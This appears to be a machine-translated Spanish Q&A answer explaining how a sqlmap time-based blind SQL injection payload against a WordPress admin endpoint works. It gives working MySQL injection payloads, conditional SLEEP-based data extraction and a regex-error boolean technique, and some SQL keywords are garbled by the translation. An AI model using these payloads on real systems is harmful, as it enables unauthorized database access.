Solución:
Supongo que es un MySQL
base de datos.
1749
(es mayor que 0) y nQtm
(alias válido – “nombre de variable” para la tabla derivada) fueron elegidos al azar por sqlmap
. El problema con sleep(N)
es eso Base de datos SQL lo evalúa a 0 y por lo tanto post=1 AND 0
será evaluado a cero (FALSO : 1 Y 0 = 0) también. Valor 1749
es interpretado por Base de datos SQL como CIERTO (cosas similares (if (42) { ... }
) suceder en PHP o en pitón o en C y probablemente en otros lugares, pero no estoy usando ese estilo de codificación porque es difícil de leer y podría provocar errores no intencionales).
No se produjo ningún retraso.
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 Y SELECCIONAR (SLEEP (N))
Creé solo una consulta aleatoria y todavía se retrasó durante 3 segundos. Así que realmente no puedo explicar por qué no se demoró en su caso (tal vez no sea Base de datos MySQL (tal vez lo sea Sqlite) o tal vez algún optimizador de base de datos interno omitió esa parte con sleep(N)
porque se evaluó inmediatamente a cero, porque no hay si-ramas. Corrí una vez en un problema similar con SLEEP (N))
select t.a from (select 1 as a, 2 as b, 3 as c) as t where t.b = 2 and 1=(select(sleep(3)))
Detalles:
SELECT(SLEEP(1))
devuelve 0
(SELECT 1749 FROM (SELECT(SLEEP(1))) nQtm)
dónde nQtm
es un alias (puede llamarlo una variable si lo desea) para la tabla derivada (SELECT(SLEEP(1)))
. Si intentas ejecutar (SELECT nQtm.* FROM (SELECT(SLEEP(1))) as nQtm)
el resultado será solo 0 (una fila con resultado 0).
Esto es lo mismo que escribir select t.* from (select 0) as t
lo que resultará en 0 (selecciona todas las columnas y todas las filas aquí, pero como solo tenemos una fila y una columna, el resultado es 0).
Entonces (SELECT 1749 FROM (SELECT(SLEEP(N))) nQtm)
siempre resultará en 1749
– no importa lo que pongas SLEEP(N)
– se retrasará norte segundos, pero el resultado será el mismo (select 42 from (select 0)
siempre seleccionará 42, por lo que en cierto sentido es independiente de la tabla derivada (select 0)
).
Imagina que la consulta SQL original es:
"UPDATE posts
SET data="hello world"
WHERE user_id=42
AND post=".$_POST["post"];
Ahora bien, si realiza una inyección, resultará en:
UPDATE posts
SET data="hello world"
WHERE user_id=42
AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
dónde ... AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
que es lo mismo que ... AND post=1 AND 1749
que probablemente será evaluado para 1 (cual es CIERTO) si la entrada almacenada para post
es también 1 (1=1 AND 1749
igual que 1 AND 1749
igual que 1
). Para que duerma norte segundos y luego actualice el DB.
Podrías explotarlo con if...then...else
declaración. Hay 2 de ellos en MySQL: (if (isMyDogBrown?, true, false))
y (case (isMyDogBrown?) then (true) else (false) end)
. Entonces ahora puede construir su consulta y si algo se evalúa como CIERTO dormirá por norte segundos: (SELECT IF ( substr(@@version, 0, 1)='1'), sleep(5), 0)
.
Nota: Puede optimizar su consulta evitando time based exploitation
(muy lento). Puedes usar binary search based exploitation technique
por ejemplo, utilizando el hecho de que los errores en Expresiones regulares de MySQL son tratados como MySQL errores (por lo que “error de MySQL / servidor” evaluará CIERTO y “página normal” para FALSO; … y podría enviar spam al mysql.log con mensajes de error en ese servidor):
(select (1) rlike (if (".$cmd.", true, 0x28)))
(0x28
= (
) (https://www.systutorials.com/4670/ascii-table-and-ascii-code/)
Notas adicionales:
- Aquí hay una gran fuente de diferentes métodos de explotación que fue hace muchos años mi fuente para aprender la inyección SQL: https://websec.wordpress.com/category/sqli/
- Si necesita explotar consultas pesadas (basadas en el tiempo): https://github.com/sqlmapproject/sqlmap/issues/2909 – deberá escribir su propio contenedor en localhost (localhost / wrapper.php? id = INJECT_HERE) que facilitará la explotación de sqlmap. sqlmap a veces tiene dificultades para detectar la vulnerabilidad.
-
SLEEP(N)
no siempre funcionará en todas partes (en los casos en que su consulta SQL DEBE estar algo rota y no devolver resultados que podrían ser evaluados por algunos filtros en el PHP principal / cualquier script (como el contador de intentos de inicio de sesión, etc.)). A veces necesitarásheavy query based exploitation
: https://stackoverflow.com/questions/45666126/strange-behaviour-of-mysql-sleep-function